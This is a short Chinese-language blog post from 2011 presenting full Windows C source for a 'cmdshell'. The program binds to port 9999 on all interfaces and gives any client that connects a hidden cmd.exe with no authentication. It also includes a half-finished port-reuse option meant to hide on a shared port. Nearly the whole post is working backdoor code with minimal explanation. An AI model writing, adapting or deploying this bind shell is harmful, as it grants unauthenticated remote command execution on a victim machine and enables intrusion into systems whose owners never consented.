一个简单的cmdshell
作者:admin 日期:2011-01-29
前几天无聊,就写了这个这个东西。代码有点乱,很多东西也都没考虑,就是一个架子。运行之后会在9999端口开一个类似telnet的服务。用telnet链接到9999端口就会得到一个cmdshell.没什么技术含量,随手写写而已。本来还想弄个复用端口的功能,无奈后来就没了兴趣。所以这个东西,还是个残废。
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32.lib")
#define BINDHOST "0.0.0.0"
#define BINDPORT 9999
#define REUSEPORT 7899
#define CMDLINE "cmd.exe"
typedef struct param
{
SOCKET s;
} Param,*PParam;
typedef struct HR
{
SOCKET s;
HANDLE pipe;
HANDLE event;
}HR,*PHR;
int Action(bool reuse=false);
int getIp(char* buff,int nIndex=0);
DWORD WINAPI DoConnection(
PVOID pparam // thread data
);
int WSAInit();
int main()
{
WSAInit();
// getIp(0,0);
Action(0);
return 0;
}
int WSAInit()
{
WSADATA ws;
WSAStartup(MAKEWORD(2,2),&ws);
return 0;
}
int Action(bool reuse)
{
DWORD err;
char bindhost[255];
short bindport;
BOOL optval=true;
SOCKET ss;
SOCKET s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
sockaddr_in addr;
ZeroMemory(&addr,sizeof(addr));
if(!reuse)
{ strcpy(bindhost,BINDHOST);
// getIp(bindhost);
bindport=BINDPORT;
}
else
{
printf("复用端口\n");
getIp(bindhost);
bindport=REUSEPORT;
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char*)&optval,sizeof(optval)))
{
printf("设置端口重用失败");
return 0;
}
printf("复用端口ok\n");
}
addr.sin_family=AF_INET;
addr.sin_addr.S_un.S_addr=inet_addr(bindhost);
addr.sin_port=htons(bindport);
if(bind(s,(sockaddr *)&addr,sizeof(addr)))
{
err=GetLastError();
printf("绑定失败,err=%d\n",err);
return 0;
}
listen(s,5);
int len=sizeof(addr);
while(INVALID_SOCKET!=(ss=accept(s,(sockaddr*)&addr,&len)))
{
PParam p=(PParam)malloc(sizeof(Param));
p->s=ss;
CreateThread(NULL,0,DoConnection,(PVOID)p,0,0);
}
return 0;
}
DWORD WINAPI H2R(PVOID p)
{
DWORD bd;
PHR phr=(PHR)p;
HANDLE read2=phr->pipe;
int done;
SOCKET s=phr->s;
while(1)
{
bd=0;
if(!PeekNamedPipe(read2,NULL,0,0,&bd,NULL))
{
goto ext;
}
if(bd)
{
char* dt=(char*)malloc(bd);
ReadFile(read2,dt,bd,&bd,0);
done=send(s,dt,bd,0);
free(dt);
}
Sleep(100);
}
ext:
SetEvent(phr->event);
return 0;
}
DWORD WINAPI R2H(PVOID p)
{
DWORD bd;
int done;
PHR prh=(PHR)p;
SOCKET s=prh->s;
HANDLE write=prh->pipe;
char buff[1025];
DWORD err;
while(1)
{
done=recv(s,buff,255,0);
if(done<=0)
{
err=WSAGetLastError();
goto ext;
}
buff[done]=0;
WriteFile(write,buff,done,&bd,0);
send(s,buff,done,0);
}
ext:
SetEvent(prh->event);
return 0;
}
DWORD WINAPI DoConnection(
PVOID pparam // thread data
)
{
PParam p=(PParam)pparam;
SOCKET s=p->s;
HANDLE read,write;
HANDLE read2,write2;
SECURITY_ATTRIBUTES sa1,sa2;
sa1.bInheritHandle=sa2.bInheritHandle=true;
sa1.lpSecurityDescriptor=sa2.lpSecurityDescriptor=NULL;
sa1.nLength=sa2.nLength=12;
CreatePipe(&read,&write,&sa1,10240);
CreatePipe(&read2,&write2,&sa2,10240);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si,sizeof(si));
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
si.hStdInput=read;
si.hStdOutput=si.hStdError=write2;
si.wShowWindow=SW_HIDE;
DWORD err;
HR hr,rh;
if(!CreateProcess(NULL,CMDLINE,NULL,NULL,true,0,0,0,&si,&pi))
{
err=GetLastError();
return 0;
}
rh.s=s;
rh.event=CreateEvent(NULL,false,false,NULL);
rh.pipe=write;
hr.s=s;
hr.event=CreateEvent(NULL,false,false,NULL);
hr.pipe=read2;
HANDLE hhr=CreateThread(NULL,0,H2R,(PVOID)&hr,0,0);
HANDLE hrh= CreateThread(NULL,0,R2H,(PVOID)&rh,0,0);
HANDLE h[]={hr.event,rh.event};
WaitForMultipleObjects(2,h,false,INFINITE);
TerminateThread(hhr,0);
TerminateThread(hrh,0);
TerminateProcess(pi.hProcess,0);
closesocket(s);
free(pparam);
return 0;
}
int recvEx(SOCKET s,char* buff,int len)
{
return 0;
}
int getIp(char* buff,int nIndex)
{
int n=0;
char cBuff[255]={0};
hostent *host;
gethostname(cBuff,255);
host=gethostbyname(cBuff);
/*
while(host->h_addr_list[n])
{
printf("%s\n",inet_ntoa(*(in_addr*)host->h_addr_list[n]));
n++;
}
*/
strcpy(buff,inet_ntoa(*(in_addr*)host->h_addr_list[nIndex]));
return n;
}